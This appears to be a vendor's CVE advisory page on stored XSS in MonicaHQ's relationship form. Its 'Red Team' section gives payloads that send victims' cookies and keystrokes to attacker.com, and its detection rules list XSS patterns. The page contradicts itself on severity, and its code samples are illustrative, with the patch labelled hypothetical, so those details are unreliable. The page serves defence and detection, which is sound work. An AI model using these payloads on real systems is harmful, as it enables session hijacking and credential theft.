☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-54994

CVE-2024-54994 Cross-Site Scripting in Monicahq
📅 PUBLISHED: 2025-01-10 00:00 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-54994 identifies multiple Client-Side Injection vulnerabilities in MonicaHQ v4.1.2, specifically within the "Add a new relationship" feature. The vulnerability is triggered via the first_name and last_name parameters, allowing an attacker to inject arbitrary client-side scripts. This can lead to session hijacking, data theft, or defacement. The vulnerability is classified as a Stored Cross-Site Scripting (XSS) issue, as the injected payload is stored in the application and executed when other users view the relationship data.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

MonicaHQ is a PHP-based application. The vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is a code-level flaw in the application's input handling. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating insufficient data for scoring. However, based on the nature of the vulnerability (Stored XSS), a reasonable vector would be:

  • Attack Vector (AV): Network
  • Attack Complexity (AC): Low
  • Privileges Required (PR): Low (attacker needs to be authenticated to add a relationship)
  • User Interaction (UI): Required (victim must view the relationship)
  • Scope (S): Changed
  • Confidentiality (C): Low
  • Integrity (I): Low
  • Availability (A): None

Estimated CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication but can lead to significant impact on data confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability resides in the "Add a new relationship" feature of MonicaHQ v4.1.2. When a user adds a new relationship, the first_name and last_name parameters are not properly sanitized before being stored in the database and later rendered in the user interface. An attacker can inject malicious JavaScript code into these fields. When another user (or the same user) views the relationship list or details, the injected script executes in the context of the victim's browser.

Root Cause: Lack of output encoding or input sanitization for the first_name and last_name fields in the relationship creation functionality.

Attack Flow:

  1. Attacker authenticates to MonicaHQ.
  2. Attacker navigates to the "Add a new relationship" feature.
  3. Attacker enters a payload like <script>alert('XSS')</script> in the first_name or last_name field.
  4. The payload is stored in the database.
  5. Victim views the relationship list or details.
  6. The payload executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (MonicaHQ v4.1.2):

// In the relationship creation controller
$relationship = new Relationship();
$relationship->first_name = $request->input('first_name');
$relationship->last_name = $request->input('last_name');
$relationship->save();

Patched Code (Hypothetical):

// Properly sanitize input
$relationship = new Relationship();
$relationship->first_name = htmlspecialchars($request->input('first_name'), ENT_QUOTES, 'UTF-8');
$relationship->last_name = htmlspecialchars($request->input('last_name'), ENT_QUOTES, 'UTF-8');
$relationship->save();

Exploitation & Lab Setup

Red Team

Prerequisites:

  • MonicaHQ v4.1.2 instance
  • Valid user credentials

Exploit Steps:

  1. Log in to MonicaHQ.
  2. Navigate to the "Add a new relationship" page.
  3. In the first_name field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. In the last_name field, enter a benign name or another payload.
  5. Submit the form.
  6. When the victim views the relationship, the script executes and sends the cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection Steps:

  1. Monitor for unusual characters in first_name and last_name fields in HTTP requests.
  2. Look for patterns like <script, onerror, onload, javascript: in these parameters.
  3. Check server logs for requests to external domains from the MonicaHQ application.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/relationships" AND form_data=*first_name* OR form_data=*last_name*
| rex field=form_data "first_name=(?<first_name>[^&]+)"
| rex field=form_data "last_name=(?<last_name>[^&]+)"
| where match(first_name, "<script") OR match(last_name, "<script")
| table _time, clientip, first_name, last_name

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /relationships with first_name or last_name parameters containing <script> tags.
    • Outbound connections to attacker-controlled domains from the MonicaHQ server.
  • File IOCs:

    • Database entries in the relationships table with first_name or last_name fields containing JavaScript code.
  • Behavioral IOCs:

    • Unexpected JavaScript execution in the browser when viewing relationship data.
    • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_54994_MonicaHQ_XSS {
    meta:
        description = "Detects XSS payloads in MonicaHQ relationship fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54994"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $event_handler = /on\w+\s*=\s*['"].*?['"]/si
        $javascript_protocol = /javascript\s*:/si
    condition:
        any of them
}

Sigma Rule

title: MonicaHQ Relationship XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts in MonicaHQ relationship creation
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: monicahq
detection:
    selection:
        uri_path: "/relationships"
        form_data|contains:
            - "<script"
            - "onerror"
            - "onload"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-54994 MonicaHQ Relationship XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/relationships"; http_uri;
    content:"first_name"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/si";
    sid:1000001;
    rev:1;
    reference:cve,2024-54994;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: If a patched version is released, upgrade immediately. Currently, no patch is available.
  2. Input Sanitization: Implement server-side input validation and output encoding for all user-supplied data, especially first_name and last_name.
  3. Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS.
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  4. Web Application Firewall (WAF): Configure WAF rules to block requests containing <script> tags in form fields.

Long-Term Fixes:

  1. Code Review: Conduct a thorough code review of all input handling functions.
  2. Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.
  3. Automated Testing: Integrate SAST/DAST tools into the CI/CD pipeline to detect similar vulnerabilities.

Workaround:

  • Disable the "Add a new relationship" feature temporarily if possible, or restrict access to trusted users only.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-54994/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.